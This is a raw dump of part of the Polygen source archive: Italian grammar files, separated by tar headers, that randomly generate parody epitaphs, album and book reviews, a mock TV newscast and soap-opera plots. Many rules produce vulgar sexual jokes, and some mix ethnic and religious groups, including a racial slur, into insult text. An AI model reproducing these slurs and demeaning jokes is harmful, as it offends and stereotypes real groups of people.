cuore | il Boy Morosa | l'ex Morosa ; Arma ::= 1 paletta per il gelato | un rullino da Numero^00 "ASA" | un "M60" scarico | il pettine della barbie | lo spazzolone per il cesso | 1 latrina piena di merda | un "Leopard" della seconda guerra mondiale | 1 shuriken | l'uccello d'acqua di "Nanto" ; Colpito ::= sui coglioni | negli okki | nelle gengive | alla testa | in culo | sulla pancia | sul mento ; Morosa ::= della mia >( vici | amika del cuore | parrucchiera | kugi | dermatologa | cagna | gatta | ginecologa ) | di mia >(mamma | nonna | sorella | zia |+ suocera | nuora) ; Lavoro ::= >> <(det: lo | indet: uno) (spazzino | spazzacamino | scafista) | <(det: il | indet: un) ( carpentiere | ciabattino | web designer | becchino | salumiere | funzionario del "Cepu" | tombarolo | minatore | calzolaio | capraro | sarto | (rivenditore | riparatore) di Prodotti | contadino ) | <(det: l'^ | indet: un) ( arrotino | operatore ecologico | ombrellaio | (allevatore | addestratore) di Animali ) << ; Animali ::= camaleonti | mufloni | orbettini | pitoni | lontre | macachi | piovre | gnu | yak | tucani | sanguisughe | ramarri | zebre | facoceri ; Prodotti ::= scopettoni per il cesso | laminati plastici | stupefacenti | armi [usate] | articoli per l'igiene | parrucche | toupet | profilattici [scaduti] | mangimi per Animali | comcimi ; Razza ::= >> ([indo^]cinese | keniota | malese | thailandese | cipriota) | ( mongol | caucasic | nigerian | arab | moldav | russ | cambogian | cec[^en] | tartar | sard | cors ) ^ <(M: o | F: a) << ; Scuola ::= delle >(medie | elementari | superiori) | dell'uni |- del "Cepu" ; Luogo ::= nel garage della mia home | in cantina | in obitorio | nel bagno degli uomini | in mezzo alla tangenziale di "Mestre" | al parco | ai cessi pubblici | in (autobus | corriera | bicicletta) | al [super^]mercato | dal parrucchiere | dall'estetista | in palestra | al "Grest" | al kampo skuola | in piazza | a kasa del mio ex | a kasa dell'ex Morosa ; Operazione ::= tolta ( 1 ciste | il dente del giudizio | un neo | un'ernia | un herpes | 1 verruca | un fungo | 1 vertebra | 1 costola |+ l'apparekkio | il gesso | i peli pubici ) ; Desiderio ::= (mettermi | infilarmi) Arma in (kulo | bocca | figa | testa) | (sposare | picchiare) (il moroso | l'ex) Morosa [che fa Lavoro.det] | sodomizzarmi Luogo ; Risposta ::= di si | di no | ke mi piacerebbe [un sakko | kasino] | ke mi intrippa [un kasino] | ke mi prende bene ; Nick ::= \ ( ( >(k | p | f | g | c) [^r] | j | b | l) ^ (i |- u | e | A) ^ (++ kk | n | nc | pp | tt | ss | ll | st) ^ (A | y | e) | ( >(s^A^ilor | trinity | l^A^r^A | britney | venere | iside | osiride) | >( cucciol | collol | g^A^tt | c^A^gn | lup | f^A^rf^a^ll | tener | c^A^r^A^mell | dolc | conigl | fr^A^gol | monell | birikk | moll | imbr^A^n^A^t ) ^ (ett | in) ^ A ) | (Lettera^"." | "*"^Lettera^"*" | "@"^Lettera^"@") ) ; A ::= a |- "@" ; Lettera ::= "A" | "B" | "C" | "D" | "E" | "F" | "G" | "J" | "L" | "M" | "N" | "P" | "R" | "S" | "T" | "V" ;polygen-1.0.6.ds2/grm/ita/nico.grm0000644000175000017500000000131510340417034016177 0ustar enricoenricoI ::= "title: I fratelli di Nico\n" ^ "author: Alan aka ^anakin^ <alanzap@email.it>\n" ^ "language: sardo\n" ^ "status: refinable\n" ^ "comment: Nico (diminutivo di Salvatore) era il personaggio fatto da Giovanni di Aldo, Giovanni e Giacomo a Mai Dire Goal di qualche anno fa, ahio'.\n" ^ "created: 20/11/2004"; S ::= Nome "," Nome "," Nome "," Nome "," Nome "," Nome "," Nome ", Franco e" Nome "."; Nome ::= Inizio (Pezzo)+; Inizio ::= \(C|C2)^V; Pezzo ::= ^( +(C|C2|CDoppia)^V | (c[^c]|g[^g])^hi^(+a|e|+o|++u) )^; V ::= +a|e|i|+o|++u; C ::= p|t|f|g|s|r; C2 ::= ([s^](p|t|f|+g)[^r] | -gn); CDoppia ::= (K:=C; K^K); polygen-1.0.6.ds2/grm/ita/epigrafi.grm0000644000175000017500000001153510340417034017042 0ustar enricoenrico I ::= "title: Epigrafi medievali\n" ^ "author: Marius <markelius@inwind.it>, Manta\n" ^ "language: italian\n" ^ "status: mature\n" ^ "topic: misc\n" ^ "audience: anybody\n" ^ "created: 14/10/2002" ; S ::= [Titolo] Nome (-- _ | ^"," Carica [Soldan [Luogo]]) (-- _ | ^"," Verbo [Prepo] Pregi [(e[^t] Pregi | ^"," ma [piuttosto] Defecti)]) ^ "." ; Titolo ::= "San"[^cto] | "Messer"[^e] | "Ser" | "Monsignor"[^e] | "Don" | "Pa"^(d | t)^ron | "Mastro" | "Fra" ; Nome ::= (Prefisso.Voc ^ Suffisso.Cons | Prefisso.Cons ^ Suffisso.Voc) Luogo ; Voc ::= a | e | i | o | u ; Prefisso ::= >> Voc: ( "Guido" | "Cinci" | "Castro" | ("J" | "I") ^ aco | "Vili" | "Fede" | "Al"^(b | d)^e | "Raf"[^f]^a | "Vence" | "Sigis" | "Stani" | "Rusti" | "Filo" | "Buffal" | "Cala" ^ (n | m) | "Chichi" | "Pan" | "Arci" | "Mal"^(a | o) ) | Cons: ( "Guid" | ("C" | "G")^ul[^(b | d)] | "Bel" | ("Mal" | "Al")[^b] | ("J" | "I")^acop | "Bereng" | "Big" | "Cagn" | "Cang" | "Ven"[^an] | "Mast" | "Citr" | "G"^(ra | ar)^f | "Ferd" | "Ul"[^b] | "Leon" | "Nast" | "R"^(o | a)^n | "Castr" | "Musci" | "Buff" | "Fil" | "Cal" | "Ciap"[^p] | "Go"^(ff | tt) | "Arc" | "Nor" | "Helder" ) << ; Suffisso ::= >> Voc: ( (i | u) ^ ccio | ario | Voc ^ (tt | ll) ^ o | one | Voc ^ nzio | Voc ^ cchio | elmo | Voc ^ gio | (i | a) ^ no | erto | elio | olfo | ardo | (a | o)^ldo ) | Cons: ( (m | b)^ondo | brando | zio | slao | [b^]ri^(c | g)^o | berto | r ^ (i | u) ^ ccio | fardo | lio | bruno | chello | meno | (b | f)^(o | u)^sco | (v | b)^(i | u | o)^glio | (t | b | v)^(a | o)^ldo | bello ) << ; Luogo ::= (+ da | di) Citta | (de |+ di) Regione ; Citta ::= "Aquil"^(e[^g]^ia | onia) | "Buonconvento" | "Castel" ^(tesino | franco | vecchio | n[^u]^ovo | forte) | "Ausercolo" | "Coneglano" | "Lamporecchio" | "Lucca" | "Mileto" | "Mon" ^(ferrato | talcino | tefeltro | telupone | falcone | tefalco | temerlo) | "Narni" | "Novocastro" | "Ostia" | "Padua" | "Perugia" | "Prato" | "Rossiglione" | "Slaigo" | "Trevigi" | "Varagine" | "Varlungo" | "Verona" | "Vinci" | "Vine"^(g | z)^ia | "York" | "Fucecchio" | "Londinio" | "Massaciucoli" | "Carrara" | "Ortucchio" | "Mediolano" | "Tarviglio" | "Sinigalia" | "Parigli" | "Granada" | "Renne" | "Roenia" | ("Salis" | "Petro" | "Pede" | "Stras" | "Edin" | "Glaston" | "Brande")^b^(o | u)^rgo | "Brusselle" | "Dresda" | "Bordone" | "Cambriggio" | "Osfordia" | "Busceglie" | "Todi" | "Lodi" | "San Gimignano" | "Gualdo Tadino" | "San Miniato" | "Altivole" ; Regione ::= "Bavaria" | "Normandia" | "Bretonia" | "Pomerania" | "Gallia" | "Cornovalia" | "Scotia" | "Loira" | ("G" | "B")^orgogna | "Dordogna" | "Perigordia" | "Catalogna" | "Navarra" | "Britannia" | "Basconia" | "Luxemburghia" | "Andalugia" | "Svevia" | "Prussia" | "Pologna" | "Elvetia" | "A"[^b]^sburgo | "Tuscania" | "Apulia" | "Sicilia" | "Calabria" | "Isvizzera" | "Provenzia" | "Ispania" | "Partia" | "Iscotia" | "Isvezia" | "Alemagna" | "Dalmatia" | "Moldavia" | "Boemia" ; Carica ::= >> il ( balestriere | bovaro | berroviere | ciambellano | falconiere | fromboliere | gonfaloniere | locandiere | >(mani | sini)^scalco | boia | mercante | milite | villano | guardiano | mezzadro | porcaro | taverniere | tesoriere ) | l'^ (adro | alfiere | oste | uccellatore) << ; Verbo ::= [non] >> era | fu | ( ebbe (da | ad) | avea da | dovette | usava | era solito | soleva ) esser << ; Prepo ::= percio' | [a^]dunque | quindi | tanto | [di] molto | affatto | invero | invece | anche | parecchio | similmente | parimenti | di >(tanto in tanto | quando in quando) ; Soldan ::= >> del ( re | [gran^]duca[^to] | conte | marchese | "Signore" | castellano | principe | clero | comune ) | della (chiesa | signoria | magione | marca) << ; Pregi ::= pien[^o] di gra^(t|z)^ia | costumato | atto al servigio | servizievole | ben^>(pensante|andante) | giovenile ; Defecti ::= purulento | brigante | briccone | ladrone | malnato | marrano | infingardo | malfidente | iracondo | flautulento | man[^i]^goldo | fellone ;polygen-1.0.6.ds2/grm/ita/recensionidischi.grm0000644000175000017500000000324210340417034020572 0ustar enricoenricoI ::= "title: Recensioni album\n" ^ "author: WallyG <wallyg@laboratoriosonoro.com>\n" ^ "language: italian\n" ^ "status: not mature\n" ^ "topic: music\n" ^ "comment: recensioni tecniche degli ultimi album\n" ^ "warning: attenzione, potreste esserci anche voi li' in mezzo\n" ^ "created: 30/11/2004" ; S ::= \INTRO "\n"; INTRO ::= oggi recensiamo il cd dei BAND ":" TITOLO | questa settimana parliamo del nuovo album dei BAND ":" TITOLO | eccoci [dunque] alla recensione [attesissima] del cd (+++dei | "di un grande gruppo, i") BAND ^", con" TITOLO | TITOLO ":" il nuovo [attesissimo | straordinario] album dei BAND | finalmente nel nostro [bellissimo | fikissimo] giornale TITOLO^"," il nuovo album dei BAND | il vostro mitiko "DJ" ("WallyG" | "Carbo" | "Carlo" | "Ezy" | "Starlight" | "Iceman" | "Fuckfinder") oggi vi propone il [fikissimo] nuovo "CD" dei BAND^", che spakka" [veramente il kulo | ^", lasciatemelo dire"] ^":" TITOLO; BAND ::= \INIZIO \POSTILLA; TITOLO ::= "'"^\NOME [PREPOSIZIONE] NOME [^","VOLUME]^"'"; INIZIO ::= september | martin's \job | beegles | cradle \of | puddle \of | minnesota | love \for \the | men \in \the [\fucking] | nobody's ; POSTILLA ::= mudd | filth | hell | music | sound \ (acoustic \(quartet | trio | duo | band) | electric \(love | band | big band | quintet) | jazz \(quartet | band | misc)); NOME ::= candle | mystery | damn | joy | nothing | everything | songs | friends; PREPOSIZIONE ::= is | of | in | for ; VOLUME ::= ( volume (1 | 2 | 3 | 122 | 133bis | 2 special release) | special release | double pack | "DVD edition");polygen-1.0.6.ds2/grm/ita/studioaperto.grm0000644000175000017500000002527710340417034020006 0ustar enricoenricoI ::= "title: Studio Aperto\n" ^ "author: CUG <cug@telcanet.it>\n" ^ "language: italian\n" ^ "status: mature\n" ^ "topic: misc\n" ^ "comment: Studio Aperto" e' il telegiornale piu' inutile d'\italia SEGNO.PU3 come si poteva non sbeffeggiarlo ^"?" \chiedo scusa a quel INSULTO di \manta per essermi ispirato alle "DPS" nelle interviste e spero che capira' SEGNO.PU3 ^"\n" ^ "created: 07/04/2004" ; S::= BUONASERA BUONASERA2 SEGNO.PU0 APERTURA SEGNO.PU3 NOTIZIA e ora (passiamo al ^ARGOMENTO.AA | ARGOMENTO.A) SEGNO.PU3 NOTIZIA e ora (passiamo al ^ARGOMENTO.AA | ARGOMENTO.A) SEGNO.PU3 NOTIZIA [e ora (passiamo al ^ARGOMENTO.AA | ARGOMENTO.A) SEGNO.PU3 NOTIZIA] [e ora (passiamo al ^ARGOMENTO.AA | ARGOMENTO.A) SEGNO.PU3 NOTIZIA] [e ora (passiamo al ^ARGOMENTO.AA | ARGOMENTO.A) SEGNO.PU3 NOTIZIA] bene SEGNO.V per oggi e' tutto SEGNO.V dopo di noi andra' in onda \studio \sport SEGNO.V poi le previsioni del tempo SEGNO.PU0 BUONASERA e a domani SEGNO.PU3; BUONASERA ::= \( buonasera | buongiorno | buon pomeriggio | buonanotte | buondi' | vaffanculo | salve ) [ a tutti [ [tranne] R2]] ; SEGNO ::= (PU0: ^".\n\n"^\ | PU1:^".\n"^\ | PU2: ^":"\ | PU3: ^"."\ | V: ^"," | VT: ^"\""\ ); EOL := ^"\n"^\ ; BUONASERA2 ::= e benvenuti a questa [nuova] EDIZIONE di \studio \aperto ; EDIZIONE ::= edizione | --stronzata | accozzaglia di (cazzate | minchiate | idiozie | stupidagini | ignoranza ) | puntata ; APERTURA ::= ( apriamo | cominciamo | iniziamo | tergiversiamo ) [subito | immediatamente | istantaneamente ] con ARGOMENTO.A ; ARGOMENTO ::= (A:la|AA:^la) ( politica | cronaca | scienza ) | (A:il|AA:" ") (gossip | calcio) | (A:una|AA:^le strane storie di \studio \aperto che oggi ci propongono una) (tragedia | buona notizia) ; NOTIZIA ::= TITOLO.S | TITOLO.B | TITOLO.G | TITOLO.F ; TITOLO ::= F:FACETO | S:SERIO | B:BESTIA | G: GOSSIP ; FACETO ::= che tratta un argomento (piu' divertente del | meno impegnato del | completamente diverso dal | decisamente piu' inutile del) solito SEGNO.PU3 sembra che ESPERTI abbiano scoperto che OGGETTO (CAUSA OGGETTO | TERROR) [e che OGGETTO (CAUSA OGGETTO | TERROR)] [e che OGGETTO (CAUSA OGGETTO | TERROR)] SEGNO.PU3 ebbene si' SEGNO.V gli amanti del^OGGETTO [non] avranno di che (temere | preoccuparsi | divertirsi | piangere | rassegnarsi) SEGNO.PU2 abbiamo chiesto alla nostra inviata NOMEF COGNOME di chiedere le opinioni degli abitanti di LOCALITA SEGNO.PU3 sentiamo (che cosa | le stronzate che) hanno detto SEGNO.PU0 INTERVISTA [INTERVISTA] [INTERVISTA] [INTERVISTA] [INTERVISTA] [INTERVISTA] EOL; ESPERTI::= (+gli esperti | +gli studiosi | +gli scienziati | gli imbecilli | i nullafacenti) dell'universita' di LOCALITA [SEGNO.V in STATO]; GOSSIP ::= il mondo (dello spettacolo | del calcio) e' in (subbuglio | fermento | orgasmo) da quando la SHOWGIRL NOMEF COGNOME(((ha fatto coppia fissa con il | l'ha data al | e' stata vista in compagnia del | -ha sgrullato la fungia al ) MAN NOME COGNOME (alle feste | all'orgia | al drogaparty | al puttantour) di NOME COGNOME SEGNO.V MAN e (viveur | playboy | uxoricida | coprofago)) | (ha posato [ig^]nuda per il calendario della rivista [per onanisti | per camionisti | per barbieri | per immigrati [clandestini] | per politici | per dittatori | per [fra^]massoni | DELLASSOCIAZ ] " "(SEGNO.VT^\helder SEGNO.VT|SEGNO.VT ^\vision^"-"^\x SEGNO.VT | SEGNO.VT^\max SEGNO.VT | SEGNO.VT^\le \ore^SEGNO.VT | SEGNO.VT^\onanismo \oggi SEGNO.VT )))SEGNO.PU3 la nostra inviata NOMEF COGNOME l'ha fermata al party (di una discoteca | di un ristorante | di un [disco^]pub | di un bordello) di LOCALITA [SEGNO.V in STATO] SEGNO.PU0 INTERVISTA [INTERVISTA] [INTERVISTA] [INTERVISTA] [INTERVISTA] [INTERVISTA] EOL; SERIO ::= [grande | importante] ( tragedia [sfiorata] | incontro | attentato | ---onanismo ) QUANDO a LOCALITA [SEGNO.V in STATO] SEGNO.PU2 (il APP.M NOME COGNOME AZIONE1.M | la APP.F NOMEF COGNOME AZIONE1.F ) (NOME COGNOME SEGNO.V APP.M | NOMEF COGNOME SEGNO.V APP.F) SEGNO.PU3 CONS1 SEGNO.PU3 il APP.M COGNOME (ha definito | ritiene | considera) tale (comportamento | provvedimento | attacco | incontro) AVV INSULTO SEGNO.PU1; BESTIA ::= una (storia | vicenda | stronzata) (strappalacrime | commovente | tragica | ---di cui non ce ne puo' fregare di meno) quella che vede per (protagonista | interprete | ---rompicoglioni) il [(piccolo [esemplare] | cucciolo) di] ANIMALE NOMEBESTIA SEGNO.V (orgoglio| vergogna| terrore) (degli abitanti di LOCALITA [SEGNO.V in STATO])SEGNO.PU1 il TENERO (animaletto | cucciolo) e' (nato | morto | stato cucinato | andato a cagare | entrato in calore | stato onanizzato | basito) grazie a (NOME| NOMEF) COGNOME che lavora al ( rettilario | crematorio | ^lo zoo | ^la macelleria | macero | lupanare ) di LOCALITA e che ha ( curato | guarito | onanizzato | divorato | sbranato | dissanguato | derubato ) il TENERO (animaletto | cucciolo | bestiolo) per ben CIFRA^CIFRA[^CIFRA][^CIFRA][^CIFRA] UNITATEMPO SEGNO.PU1 \passiamo la linea alla nostra inviata NOMEF COGNOME per l'intervista SEGNO.PU0 INTERVISTA [INTERVISTA] [INTERVISTA] [INTERVISTA] EOL \bene SEGNO.V ringraziamo la nostra inviata; QUANDO ::= oggi | ieri | l'altro ieri | il mese scorso | CIFRA[^CIFRA][^CIFRA][^CIFRA] UNITATEMPO fa ; CIFRA ::= "2" | "3" | "4" | "5" | "6" | "7" | "8" | "9" ; UNITATEMPO ::= mesi | anni | lustri | settimane | decenni | secoli | millenni ; LOCALITA ::= \>(addis \abeba | [porto | parco] san NOME | nukualofa | timbuctu' | cantu' | tripoli | stalingrado | klagenfurt | crespellano | rho | bazzano | rio de \janeiro | [porto | parco] santa NOMEF ); NOME ::= \[-gian^|-pier^]( franco | puzzo[^lo] | b^(a|o)^rtolo[^meo] | filippo | umberto | ermete | ubaldo | carlo | helder | manta | cug | zeff[^o] | trogolo | piero | viscardo | babbaleo | alvise ); NOMEF ::= [-\maria]\( franca | filippa | berta | enrica | kati[^usci]^a |-helder | viscarda | ifigonia | ubalda | magonza | crocefissa | pecora | bernarda | sara[(^(^h)+)+]); STATO ::= \(libia | romagna | jacuzia | kamchatka | barbagia | padania | tuvalu | baviera | mauritania | [i^]svezia | tripolitania | libia | [i^]spagna | [i^]svizzera | cecenia | grecia ); APP ::= M: ( ( portavoce | [vice^]presidente ) DELLASSOCIAZ | dottore | terrorista [RAZZA.GLI.S | RAZZA.I.S] | ragioniere | nullafacente | disoccupato | mariuolo | sindacalista | parassita | deputato | senatore ) | F: (presidentessa DELLASSOCIAZ | femminista | terrorista | suffragetta | prostituta | attrice | neonata ); DELLASSOCIAZ ::= (del \consiglio dei ministri | [del potere temporale] della \chiesa | della \camera | del \senato | dell'arcigay | dell'associazione amici de^(R2) | della \p2 | [della setta] degli \illuminati di STATO ) ; CONSONANTE ::= b|c|d|f|g|+l|+m|n|p|qu|+r|+s|t|-v|--z; VOCALE ::= a|e|i|o|-u; COGNOME ::= \[CONSONANTE^VOCALE^][CONSONANTE^VOCALE^][CONSONANTE^VOCALE^][CONSONANTE^VOCALE^][CONSONANTE^VOCALE^]CONSONANTE^(+++i|--a|--o'); ANIMALE ::= cane | gatto | delfino | panda | asino | cavallo | tapiro | bruco | coleottero ; AZIONE1 ::= ( si e' fatt(M:^o|F:^a) ( esplodere | saltare | slinguazzare | onanizzare | scacazzare ) (davanti | dietro | dentro) al POSTO SEGNO.V (colpendo|uccidendo|facendo fuori|inchiappettando) anche | ha [duramente|barbaramente] (criticato | attaccato | sodomizzato) ); CONS1 ::= ( dure | roventi | incazzate ) [le] (ingiurie | stronzate | repliche )[da parte] (dell'opposizione | DELLASSOCIAZ | de^R2); POSTO ::= ( consolato di STATO | palazzo DELLASSOCIAZ ) ; NOMEBESTIA ::= \[CONSONANTE^VOCALE^][CONSONANTE^VOCALE^][CONSONANTE^][CONSONANTE^VOCALE^][CONSONANTE^][CONSONANTE^VOCALE^][CONSONANTE^VOCALE^][CONSONANTE^]^(CONSONANTE^VOCALE); R2 ::= (gli RAZZA.GLI.PL | i RAZZA.I.PL) ; RAZZA::=GLI:((italian | ebre | arian | stronz | zingar | zigan )(PL:^i | S:^o) | (omosessual | eschimes | albanes) (PL:^i | S:^e) | abitant(PL:^i | S:^e) di LOCALITA | onanist (PL:^i | S:^a)) | I:((polacc | lanzichenecc) (PL:^hi | S:^o) | buddist (PL:^i | S:^a) | (marocchin | negr ) (PL:^i | S:^o) | \testimon(PL:^i | S:^e) di \geova); INSULTO ::= (incostituzionale | fascista | fazioso | comunista | -anale | -onanista | degno del noto dittatore (COGNOME | --\helder) | inconcepibile | ridicolo | spaventoso | assuefacente | ---inebriante) [SEGNO.V senza SEMA e senza SEMA] ; TENERO ::= tenero | caro | piccolo | morbido | ---saporito ; DOMANDA ::= \(INTRD COMPLD | WHY | HOW | WHEN | WHAT)^"?"; INTRD ::= (ti piace | com' e' | come funziona | chi ha vinto | a chi hai concesso favori carnali per raggiungere | cosa si prova ad (aver fatto | essere)); COMPLD ::= >(il tuo lavoro | il mangiare carne di ANIMALE | la capitale della STATO | la posizione di APP.M | il \nirvana | l'onanismo | l'orecchio | il rutto | il peto | il cerume | il naso | l'unghia del piede | la felicita' | il sindaco di LOCALITA ); COMPLD2 ::= ( nascono i bambini | esistiamo | hai mangiato [oggi] | rutto | ti prude la fungia | fai uso illegale di polygen | hai un fidanzato | hai una fidanzata | pratichi la dendrofilia | ti rende incline alla coprofagia | assomigli a NOME | si calcola (l'integrale generalizzato | la derivata | il quadrato | il cubo | la mantissa | il minimo comune divisore | la radice cubica) di CIFRA[^CIFRA][^CIFRA]x | viviamo | sei gay | poserai nuda per un calendario | hai una relazione | hai su per il culo | ti lavi dietro le orecchie | ti mangi le unghie | fai onanismo | sniffi la colla ); WHY ::= perche' COMPLD2; HOW ::= in che modo COMPLD2; WHAT ::= [con] [che] cosa COMPLD2; WHEN ::= quando COMPLD2; RISPOSTA ::= \(([penso di | credo di | mi sa di | forse] (si' | no) | non lo so | CIFRA[^CIFRA][^CIFRA][^CIFRA] | lunedi' | martedi' | rosso | mio (cugino [di (secondo | terzo | quarto | quindo | sesto | settimo ) grado]| [pro^]zio | [bis^]nonno) NOME | perche' e' cosi' | ieri | domani | LOCALITA | un ANIMALE)) ; INTERVISTA ::= SEGNO.VT ^DOMANDA SEGNO.VT ^" " SEGNO.VT ^RISPOSTA SEGNO.VT SEGNO.PU1 ; SHOWGIRL ::= (vel | letter | ---merd | ---puttan )^(ina | ona | accia | onza) | valletta di \colpo \grosso | showgirl | pornostar; MAN ::= calciatore | milionario | magnate | tycoon | manager; OGGETTO ::= la primavera | +l'ondata di maltempo | l'onanismo | la calvizie | la diarrea | la stitichezza | la carne di ANIMALE | la scureggia | l'autunno | l'inverno | l'estate | lo scroto | " "^\polygen ; CAUSA ::= causa | non causa | impedisce ; TERROR ::= (non esistera' piu' | cessera' di esistere | esplodera' | finira' | si vaporizzera') (nel | prima del | dopo il) 20^CIFRA^CIFRA ; AVV::= (schifosamente | vergognosamente | omosessualmente | infelicemente | tremendamente | orribilmente | spaventosamente | estremamente | pedissequamente ); SEMA ::= se | ma | pero' | [or^]dunque | quindi | percio' | perche' | di | si' | no ;polygen-1.0.6.ds2/grm/ita/beautiful.grm0000644000175000017500000001275210340417034017236 0ustar enricoenricoI ::= "title: Trame delle puntate di Beautiful\n" ^ "author: Zcode <zcode@tiscali.it>\n" ^ "language: italian\n" ^ "status: mature\n" ^ "topic: misc\n" ^ "audience: dedicato a tutti quelli che almeno una volta nella vita si sono dovuti sorbire qualche puntata\n" ^ "link: se non ne avete abbastanza visitate tramedibeautiful.com\n" ^ "created: 02/07/2003" ; S ::= Titolo "\n\n" ^\Periodo; Periodo ::= Prop Cong Prop Cong Prop Cong Prop [Cong Prop] ^"."; Cong ::= ^("," >(mentre | ma | invece | tuttavia | cosi' | quindi | proprio quando | poiche' | inoltre | dopo che)) | ^("."\ >(intanto | ciononostante | inaspettatamente | improvvisamente |nel frattempo | contemporaneamente | in seguito | da quel momento | in quel mentre | allora | il giorno seguente)); Nome ::= \(m: >(ridge | thorne | massimo [\marone] | deacon | eric | eric jr | thomas | rick | clarke | lorenzo | "C.J." | whip) | f: >(brooke | sally [\spectra] | macy | taylor | amber | stephanie | bridget | megan | darla | kristen | morgan) ); Nome2 ::= (Nome^","(m:il|f:la) quale).(m|f) | (Nome^"," che); Figlio ::= \(m: >(peace | freedom) | f: >(harmony | hope)) | Nome jr; Prop ::= Nome >Prop1 | >Prop2 | Nome >Prop3; Prop2 ::= >( (Nome rimane profondamente scoss^(m:o|f:a)).(m|f) dalla (rivelazione|dichiarazione) di (Nome2 Prop1 | Nome) | ((m:il|f:la) piccol^(m:o|f:a) Figlio).(m|f) ha gia'(20|30|40|50|60) anni | (Nome e' intenzionat^(m:o|f:a)).(m|f) ad ostacolare il matrimonio di Nome con Nome | si celebra il matrimonio di Nome e Nome | i \forrester sono in vacanza in \(italia|francia|bielorussia) | (i \forrester organizzano|la \spectra organizza) una sfilata | (Nome e' intenzionat^(m:o|f:a)).(m|f) a figliare al piu' presto con (Nome2 Prop1 | Nome) | (Nome e' ancora innamorat^(m:o|f:a)).(m|f) di (Nome2 Prop1 | Nome) | Nome e Nome vogliono dare vita ad una nuova progenie | Nome e Nome vanno in luna di miele (alle \hawaai|a \portofino)); Prop3 ::= e >( Nome si sposano | Nome si lasciano | Nome vanno in vacanza (alle \hawaai|a \portofino) | Nome chiamano ((m:il|f:la) figli^(m:o|f:a) Figlio).(m|f)); Prop1 ::= >(dice a Nome che ((m:il|f:la) figli^(m:o|f:a) e' su^(m:o|f:a) ).(m|f) [Cong Prop1]| confida a Nome che ((m:il|f:la) piccol^(m:o|f:a) Figlio e' su^(m:o|f:a) ).(m|f) [Cong Prop1]| (va da Nome a convincerl^(m:o|f:a)).(m|f) di lasciar stare (Nome2 Prop1 | Nome) | cerca di carpire il segreto di Nome a (Nome2 Prop1 | Nome) | si sposa con (Nome2 Prop1 | Nome) | lascia Nome [e si mette insieme a Nome] | divorzia da Nome [Cong Prop1]| va a letto con (Nome2 Prop1 | Nome) | scopre che (Nome e' in realta' su^(m:o|f:a) figli^(m:o|f:a)).(m|f) | (resuscita|si risveglia dal coma) dopo 3 mesi [e va a trovare (Nome2 Prop1 | Nome)] | ritorna dalle vacanze alle \hawaai [Cong Prop1]| riesce a convincere (Nome a dirgli cosa e' successo tra (m:lui|f:lei)).(m|f) e Nome | spara a Nome [Cong Prop1] | e' in ospedale per partorire ((m:il|f:la) piccol^(m:o|f:a) Figlio).(m|f) | investe con la jeep (Nome2 Prop1 | Nome) | confida a Nome che Nome vuole regalare un anello a (Nome2 Prop1 | Nome) | rivela a Nome che Nome ama (Nome2 Prop1 | Nome) | dichiara il suo amore a (Nome2 Prop1 | Nome) | vuole (un figlio da|perpetrare la sua stirpe con) (Nome2 Prop1 | Nome) | rivela la (maternita'|paternita') di (Nome2 Prop1 | Nome) | continua a perseguitare Nome [Cong Prop1]| adotta ((m:il|f:la) piccol^(m:o|f:a) Figlio).(m|f) | telefona a (Nome e (m:gli|f:le) rivela tutto).(m|f) | (disegna|inaugura) una nuova linea di (reggiseni|perizomi|completi leopardati) | (passa alla|va a lavorare per la) \(forrester|spectra) | abbandona la \(forrester|spectra) [Cong Prop1]| aspetta un figlio da Nome [Cong Prop1] | concepisce ((m:il|f:la) piccol^(m:o|f:a) Figlio).(m|f) | mette incinta Nome [durante la festa di compleanno ((m:del|f:della) piccol^(m:o|f:a) Figlio).(m|f)] | decide di lasciare (tutta l'eredita'|la \forrester|la \spectra) a (Nome2 Prop1 | Nome) | va una settimana nello chalet in montagna con (Nome2 Prop1 | Nome) [^"," per dimenticare Nome] | vuole far dimenticare Nome a Nome [Cong Prop1]| cerca di sedurre (Nome2 Prop1 | Nome) [Cong Prop1]| si innamora di Nome [Cong Prop1]| dorme con (Nome (fecondando|inseminando|ingravidando)^(m:lo|f:la) per errore).(m|f) | (non sa|scopre) che (Nome e' su^(m:o padre|f:a madre) ).(m|f) | (muore|ha un incidente in auto|finisce in ospedale) | passa la notte da (Nome2 Prop1 | Nome) | conquista (Nome2 Prop1 | Nome) | chiede la mano di (Nome2 Prop1 | Nome) | va in luna di miele con (Nome2 Prop1 | Nome) | frequenta segretamente (Nome2 Prop1 | Nome) | e' ancora assieme a (Nome2 Prop1 | Nome) | riesce (nel suo intento di|a) farsi (Nome^"," Nome (e Nome| ^"," Nome e Nome)|tutti i \forrester) | sta per metter al mondo ((m:il|f:la) piccol^(m:o|f:a) Figlio).(m|f) [^"," avuto con (Nome2 Prop1 | Nome)] | (non sa|scopre) che Nome ha una relazione con Nome [Cong Prop1]| tradisce Nome con Nome [Cong Prop1] | vuole fare di tutto per conquistare Nome [Cong Prop1] | vuole vendicare Nome a tutti i costi [Cong Prop1] ); Titolo ::= "Episodio n."Numero; Numero ::= N.u^(""|N|N^N|N^N^N)^(N^N^N); N ::= z:0|u:>(1|2|3|4|5|6|7|8|9);polygen-1.0.6.ds2/grm/ita/recensionilibri.grm0000644000175000017500000003203110340417034020426 0ustar enricoenricoI ::= "title: Recensioni Libri\n" ^ "author: N-Joy + DHS\n" ^ "language: italian\n" ^ "status: beta\n" ^ "topic: misc\n" ^ "audience: anybody\n" ^ "created: 02/09/2004" ; S ::= ( TITOLO"\n"^"\""^\CORPO^"\"" "\n-"(\NOMI \COGNOMI | GIORNALI)^"\n" ) ; CORPO ::= vorrei [davvero] essere (capace|in grado) di scrivere io TIPO cosi' | il libro che avrei voluto scrivere io | vi terra' inchiodati alla poltrona | [(davvero|finalmente)] una boccata d'aria fresca nel panorama letterario NAZIONE | dall'autore di TITOLO^"," TIPO che (vi terra' col fiato sospeso|vi sorprendera'|vi terrorizzera'|vi paralizzera' dal terrore|vi terra' inchiodati alla poltrona) | mai esordio fu piu' AGGETTIVO^"."\AGGETTIVO| il suo COMPARATIVO libro fino ad oggi | la nuova dimensione GENERE | una [nuova] (AGGETTIVO|AGGETTIVOFEMALE) (storia|vicenda|prova)^"," AGGDESCR e AGGDESCR^"," [dal maestro indiscusso del GENERESEMPLICE] | quanto e' bello^"!" | quanto e' bravo questo \NOMI \COGNOMI^"!" | una AGGFEMACCR GENFEM ESAG | TIPO di AGGESAG attualita' | TIPO AGGETTIVO che ti trascina dentro e non ti (molla|lascia andare) [piu'] fino (alla fine|all'ultima pagina|al suo AGGETTIVOMALE epilogo) | una miscela AGGFEMACCR di INGREDIENTI (AGGPLURALIM|AGGPLURALIN), 